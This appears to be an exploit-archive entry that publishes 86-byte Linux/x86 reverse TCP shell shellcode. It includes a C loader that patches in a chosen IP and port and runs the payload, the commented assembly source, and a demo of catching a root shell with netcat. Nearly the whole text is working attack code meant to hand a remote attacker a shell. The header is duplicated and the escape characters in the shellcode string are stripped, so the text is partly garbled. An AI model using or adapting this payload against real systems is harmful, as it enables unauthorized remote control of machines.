# Exploit Title: Linux/x86 - Reverse (dynamic IP and port/TCP) Shell (/bin/sh) Shellcode (86 bytes)
# Date: 10/07/2021
# Exploit Author: d7x
# Tested on: Ubuntu x86

/* # Exploit Title: Linux/x86 - Reverse (dynamic IP and port/TCP) Shell (/bin/sh) Shellcode (86 bytes)
# Date: 10/07/2021
# Exploit Author: d7x
# Tested on: Ubuntu x86

/***
Linux/x86 Reverse TCP Shell with dynamic IP and port binding Shellcode (tested on Ubuntu 12.04 LTS)
Usage: gcc -z execstack -o shell_reverse_tcp shell_reverse_tcp.c
$ ./shell_reverse_tcp_shellcode 192.168.1.137 4444
Connecting to 192.168.1.236 (0xec01a8c0):4444 (0x115c)
Byte 26: c0
Byte 27: a8
Byte 28: 01
Byte 29: ec

$ nc -nlv 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.1.137 45219
id
uid=0(root) gid=0(root) groups=0(root)

*** Created by d7x
https://d7x.promiselabs.net
https://www.promiselabs.net ***
***/

#include <stdio.h>
#include <string.h>
#include <netdb.h>

unsigned char shellcode[] =
"x31xc0x31xdbxb0x66xb3x01x31xd2x52x6ax01x6ax02x89xe1xcdx80x89xc6xb0x66xb3x03x68x7fx01x01x01x66x68x11x5cx66x6ax02x89xe1x6ax10x51x56x89xe1xcdx80x31xc9x31xc0xb0x3fx89xf3xcdx80xfexc1x66x83xf9x02x7exf0x31xc0x50xb0x0bx68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9xcdx80"; //IP address at 26th byte; Port at 32nd byte

main(int argc, char *argv[])
{

/* Default IP and port at 26th and 32nd byte index: x7fx01x01x01 x11x5c */

// in case no port is provided the default would be used
if (argc < 3) {
printf("No IP or port provided, 127.1.1.1:4444 (0x7f010101:0x115c) will be used ");
}
else
{

// convert IP address to binary representation and store in ipaddr.sin_addr.s_addr
struct sockaddr_in ipaddr;
inet_aton(argv[1], &ipaddr.sin_addr.s_addr);

int port = atoi(argv[2]);
printf("Connecting to %s (0x%x):%d (0x%x) ", argv[1], ipaddr.sin_addr.s_addr, port, port);

unsigned int p1 = (port >> 8) & 0xff;
unsigned int p2 = port & 0xff;
// printf("%x %x ", p1, p2);

shellcode[32] = (unsigned char){p1};
shellcode[33] = (unsigned char){p2};

/* 1st byte: 0xAABBCCDD >> 0 & 0xff
2nd byte: 0xAABBCCDD >> 8 & 0xff
3rd byte: 0xAABBCCDD >> 16 & 0xff
4th byte: 0xAABBCCDD >> 24 & 0xff
*/

int i, a;
for (i = 26, a = 0; i <= 29; i++, a+=8)
{
shellcode[i] = (ipaddr.sin_addr.s_addr >> a) & 0xff ;
printf("Byte %d: %.02x ", i, shellcode[i]);
}
}

int (*ret)() = (int(*)())shellcode;

ret();

}

/***
; shellcode assembly

global _start:

section .text

_start:
; socketcall (0x66)
; syscall SYS_SOCKET (0x01) - int socket(int domain, int type, int protocol);
xor eax, eax
xor ebx, ebx
mov al, 0x66
mov bl, 0x01

; pushing arguments to the stack backwards: int protocol (PF_INET, SOCK_STREAM, 0)
xor edx, edx
push edx ; int domain

push 0x01 ; SOCK_STREAM
push 0x02 ; PF_INET (AF_INET and PF_INET is the same)

mov ecx, esp

; syscall
int 0x80

; save returned file descriptor from eax into esi for later use
mov esi, eax

; socketcall (0x66)
; syscall SYS_CONNECT (0x03) - int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
mov al, 0x66
mov bl, 0x03

; pushing arguments to the stack backwards:
; connect(sockid, (struct sockaddr *) &addrport, sizeof(addrport));

push 0x0101017f ; 127.1.1.1
push word 0x5c11 ; port 4444
push word 0x02 ; PF_INET

mov ecx, esp

push 0x10 ; sockaddr length
push ecx ; sockaddr pointer
push esi ; saved socket descriptor

mov ecx, esp

; syscall
int 0x80


; dup2 - __NR_dup2 63
; dup2(0), dup2(1), dup2(2)
; (0 - stdin, 1 - stdout, 2 - stderr)

; let's put all this in a loop
xor ecx, ecx

DUPCOUNT:
; int dup2(int oldfd, int newfd);
xor eax, eax
mov al, 0x3f

; ebx (socket descriptor, being copied over from esi saved earlier)
; ecx will be calculated automatically based on the loop value

; xor ebx, ebx
mov ebx, esi ; saved socket descriptor
; syscall
int 0x80

inc cl
cmp cx, 2
jle DUPCOUNT ; count until 2 is reached


; execve (0x0b)
; /bin//sh
xor eax, eax
; xor ebx, ebx
push eax ; reserve some bytes in the stack to work with

mov al, 0x0b
push 0x68732f2f ; //sh
push 0x6e69622f ; /bin
mov ebx, esp

xor ecx, ecx

; syscall
int 0x80
***/